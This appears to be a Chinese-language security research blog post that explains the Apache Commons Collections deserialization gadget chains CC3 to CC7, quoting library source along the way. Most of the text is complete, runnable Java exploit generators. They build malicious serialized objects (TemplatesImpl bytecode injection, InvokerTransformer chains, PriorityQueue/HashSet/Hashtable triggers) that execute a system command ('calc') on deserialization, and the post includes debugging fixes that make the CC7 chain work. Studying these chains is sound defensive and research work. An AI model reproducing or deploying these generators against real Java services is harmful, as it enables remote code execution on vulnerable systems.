CommonsCollections反序列化链变种 剩下部分CC链并没有引用Java的新特性,后面几个几乎就是在排列组合了,对于这些没有太大构造难度的链我选择合并记录
CommonsCollections3反序列化链 该链使用了ChainedTransformer 的链式调用和LazyMap依赖的动态代理,复现的jdk版本需要低于1.8.0_71
CC3链同样利用了动态加载恶意类实现命令执行,与CC2链不同的点在于CC3加载恶意类载体templatesTmpl的位置在TrAXFilter类的构造器中,该方法调用了newTransformer()
public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
而实例化templatesTmpl的位点则使用了InstantiateTransformer类的transform()方法
public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException ("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } catch (NoSuchMethodException var3) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
思路出来了,先获取TrAXFilter类的构造器,再把templatesTmpl传入作为参数,为了达成这一目的,需要使用ChainedTransformed的链式调用
Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templatesTmpl}) };
后面则是LazyMap的路径了,如此整条链已经完成
public class CC3TrAXFilter { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass test = pool.makeClass("Test" ); CtConstructor constructor = test.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); test.setSuperclass(superClass); byte [] bytecode = test.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl (); Class templatesClass = templatesImpl.getClass(); Field name = templatesClass.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templatesImpl, "any" ); Field bytecodes = templatesClass.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templatesImpl, new byte [][]{bytecode}); Field tfactory = templatesClass.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templatesImpl, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templatesImpl}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor Constructor = clazz.getDeclaredConstructor(Class.class, Map.class); Constructor.setAccessible(true ); InvocationHandler annotationInvocationHandler = (InvocationHandler) Constructor.newInstance(Override.class,lazyMap); Map<?,?> proxyMap =(Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class []{Map.class}, annotationInvocationHandler); InvocationHandler annotationInvocationHandler2 = (InvocationHandler) Constructor.newInstance(Override.class,proxyMap); serialize(annotationInvocationHandler2); unserialize("cc3.ser" ); } public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("cc3.ser" ))); oos.writeObject(object); } public static void unserialize (String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream (Files.newInputStream(Paths.get(filename))); objectInputStream.readObject(); } }
CommonsCollections4反序列化链 CC4链与CC3同样使用TrAXFilter去触发newTransformer()方法,不同之处在于该链的起点是PriorityQueue,前半段与CC2大体相同,但是由于不直接使用invokerTransformer去调用newTransformer(),queue[]数组内可以是任意值
PriorityQueue的构建
PriorityQueue priorityQueue = new PriorityQueue (transformingComparator);Class priorityQueueClass = priorityQueue.getClass();Field queue = priorityQueueClass.getDeclaredField("queue" );queue.setAccessible(true ); queue.set(priorityQueue, new Object []{"anything" ,"anything" }); Field size = priorityQueueClass.getDeclaredField("size" );size.setAccessible(true ); size.set(priorityQueue, 2 );
与CC3的后半段结合就是完整的链了
public class CC4 { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass test = pool.makeClass("Test" ); CtConstructor constructor = test.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); test.setSuperclass(superClass); byte [] bytecode = test.toBytecode(); TemplatesImpl templates = new TemplatesImpl (); Class clazz = templates.getClass(); Field name = clazz.getDeclaredField("_name" ); name.setAccessible(true ); name.set(templates, "any" ); Field bytecodes = clazz.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); bytecodes.set(templates, new byte [][]{bytecode}); Field tfactory = clazz.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue (transformingComparator); Class priorityQueueClass = priorityQueue.getClass(); Field queue = priorityQueueClass.getDeclaredField("queue" ); queue.setAccessible(true ); queue.set(priorityQueue, new Object []{"anything" ,"anything" }); Field size = priorityQueueClass.getDeclaredField("size" ); size.setAccessible(true ); size.set(priorityQueue, 2 ); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("cc3.ser" ))); oos.writeObject(obj); } @Test public void deserialize () throws Exception { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("cc3.ser" ))); ois.readObject(); } }
CommonsCollections5反序列化链 CC5链的后半段与CC1类似,使用ChainedTransformer和LazyMap,不同之处在于触发get()方法的上层是TiedMapEntry类的getValue()方法
public Object getValue () { return this .map.get(this .key); }
往上查找发现同类的toString()调用getValue()
public String toString () { return this .getKey() + "=" + this .getValue(); }
该方法的上层是BadAttributeValueExpException的readObject()
private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val" , null ); if (valObj == null ) { val = null ; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
想办法让BadAttributeValueExpException的val为TiedMapEntry的对象就好了,在构造器中
public BadAttributeValueExpException (Object val) { this .val = val == null ? null : val.toString(); }
发现如果直接用构造器赋值,会直接在实例化阶段把val赋值为TiedMapEntry.toString()后的字符串,这会导致反序列化时进入readObject()的第一个else if而不是预期的第二个else if,故在构造时我们需要传入null,后面再通过反射直接把val赋值为TiedMapEntry对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null );Class clazz = badAttributeValueExpException.getClass();Field val = clazz.getDeclaredField("val" );val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry);
前面就是CC1的东西了,组合得到完整链
public class CC5 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class, Class[].class},new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map map = new HashMap (); Map lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"test" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class clazz = badAttributeValueExpException.getClass(); Field val = clazz.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); } public static void serialize (Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("cc5.ser" ))); oos.writeObject(obj); } @Test public void deserialize () throws Exception { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("cc5.ser" ))); ois.readObject(); } }
CommonsCollections6反序列化链 该链的后半段与CC5相同,不同在于触发tiedMapEntry的getValue()上层方法是hashCode()
public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
HashMap类的hash()方法有调用hashcode()
static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); }
有个条件是key不为空,这个条件后面会用到。调用hashcode()就在HashMap类的readObject()里
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
在HashSet的readObject()中,可以对反序列化的map字段调用readObject()
private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); if (capacity < 0 ) { throw new InvalidObjectException ("Illegal capacity: " + capacity); } float loadFactor = s.readFloat(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) { throw new InvalidObjectException ("Illegal load factor: " + loadFactor); } int size = s.readInt(); if (size < 0 ) { throw new InvalidObjectException ("Illegal size: " + size); } capacity = (int ) Math.min(size * Math.min(1 / loadFactor, 4.0f ), HashMap.MAXIMUM_CAPACITY); map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
使用HashSet自带的add()方法会持续调用后面的put()、hash()方法,导致链在序列化前提前触发,这会污染我们构造的map对象,后面反序列化在get()时进入else语句,导致反序列化时无法正常执行命令。所以我们需要在创建tiedEntry时传入无害的HashMap,后面再通过反射修改tiedEntry的map字段为lazyMap,相当于让lazyMap绕过add()后面的方法
public boolean add (E e) { return map.put(e, PRESENT)==null ; }
全链如下,该链相对较短
public class CC6 { public static void main (String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map hashMap = new HashMap (); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (new HashMap <>(),"any" ); HashSet hashSet = new HashSet (); hashSet.add(tiedMapEntry); Class clazz = tiedMapEntry.getClass(); Field map = clazz.getDeclaredField("map" ); map.setAccessible(true ); map.set(tiedMapEntry, lazyMap); serialize(hashSet); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("cc6.ser" ))); oos.writeObject(object); } @Test public void deserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("cc6.ser" ))); ois.readObject(); } }
CommonsCollections7反序列化链 该链后段与CC1类似,区别在于lazyMap的上层调用不同,这一次我们选择AbstractMap类中的equals()方法,该类
public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
该equals()方法被Hashtable类的reconstitutionPut()方法调用
private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
reconstitutionPut()方法被Hashtable类的readObject()调用
private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int )(elements * loadFactor) + (elements / 20 ) + 3 ; if (length > elements && (length & 1 ) == 0 ) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry <?,?>[length]; threshold = (int )Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1 ); count = 0 ; for (; elements > 0 ; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); reconstitutionPut(table, key, value); } }
那么方法链就很明显了readObject()->reconstitutionPut()->equals()->get(),readObject()没有什么需要注意的地方,主要看reconstitutionPut(),要让key为构造的恶意lazyMap
该方法将readObject()遍历出的每一个键值对的key与已遍历出的key进行比对,当key不重复时则会将其加入table这个键值对数组中。因为要与先前的key比对才会调用equals(),若hashTable中只有一个元素就不会触发equals(),这决定了我们后面要往里面传入两个lazyMap
同时由于if语句里面是逻辑与运算,这还要求e.hash == hash必须为真才会进行后面的equals()运算,也就是当前遍历键值对的哈希与已有键值对的哈希相等,这里分别取yy和zZ
由上可以构造出以下链
public class CC7 { public static void main (String[] args) throws IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<?,?> hashMap1 = new HashMap <>(); LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer); lazyMap1.put("yy" ,1 ); HashMap<?,?> hashMap2 = new HashMap <>(); LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer); lazyMap2.put("zZ" ,1 ); Hashtable<Map<?,?>, Integer> hashtable = new Hashtable <>(); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,1 ); serialize(hashtable); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("cc7.ser" ))); oos.writeObject(object); } @Test public void unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("cc7.ser" ))); ois.readObject(); } }
尝试运行,并没有在反序列化时弹出计算器,调试中发现在使用put()向hashTable传递lazyMap2时调用了equals()
public synchronized V put (K key, V value) { if (value == null ) { throw new NullPointerException (); } Entry<?,?> tab[] = table; int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; @SuppressWarnings("unchecked") Entry<K,V> entry = (Entry<K,V>)tab[index]; for (; entry != null ; entry = entry.next) { if ((entry.hash == hash) && entry.key.equals(key)) { V old = entry.value; entry.value = value; return old; } }
注意这里equals()比较的是两个不一样的LazyMap
lazyMap1没有重写equals(),调用的实际是父类AbstractMapDecorator的equals()
public boolean equals (Object object) { return object == this ? true : this .map.equals(object); }
这里的this.map是在decorate()时传入的hashmap1,在decorate()中
public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
使用了构造器,而在构造器中
protected LazyMap (Map map, Factory factory) { super (map); if (factory == null ) { throw new IllegalArgumentException ("Factory must not be null" ); } else { this .factory = FactoryTransformer.getInstance(factory); } }
使用了父类的构造器,看父类构造器
public AbstractMapDecorator (Map map) { if (map == null ) { throw new IllegalArgumentException ("Map must not be null" ); } else { this .map = map; } }
传入了hashmap1,故lazyMap的map字段就是hashmap1,进入HashMap中的equals(),其实HashMap也没有重写equals(),用的是父类AbstractMap的
public boolean equals (Object o) { if (o == this ) return true ; if (!(o instanceof Map)) return false ; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) return false ; try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null ) { if (!(m.get(key)==null && m.containsKey(key))) return false ; } else { if (!value.equals(m.get(key))) return false ; } } } catch (ClassCastException unused) { return false ; } catch (NullPointerException unused) { return false ; } return true ; }
这里对hashMap1进行了迭代,并尝试与lazyMap2进行比较,所以对lazyMap2调用了get(),再步入
public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
调试显示key是yy,这显然不存在于super.map字段也就是hashmap2里的,所以进入了if代码块,又往hashMpa2调用了put(),表现为lazyMap2多了一个键为yy,值为一个ProcessImpl对象的键值对,但是在反序列化时要对lazyMap2和lazyMap1进行长度比较,如果不匹配就会阻止后面的命令执行,所以在put()后还需要对多出来的键值对进行清除
全链如下
public class CC7 { public static void main (String[] args) throws IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<?,?> hashMap1 = new HashMap <>(); LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1,chainedTransformer); lazyMap1.put("yy" ,1 ); HashMap<?,?> hashMap2 = new HashMap <>(); LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2,chainedTransformer); lazyMap2.put("zZ" ,1 ); Hashtable<Map<?,?>, Integer> hashtable = new Hashtable <>(); hashtable.put(lazyMap1,1 ); hashtable.put(lazyMap2,1 ); lazyMap2.remove("yy" ); serialize(hashtable); } public static void serialize (Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (Files.newOutputStream(Paths.get("cc7.ser" ))); oos.writeObject(object); } @Test public void unserialize () throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get("cc7.ser" ))); ois.readObject(); } }
CC链就此就讲完了,完结撒花*★,°:.☆( ̄▽ ̄)/$: .°★*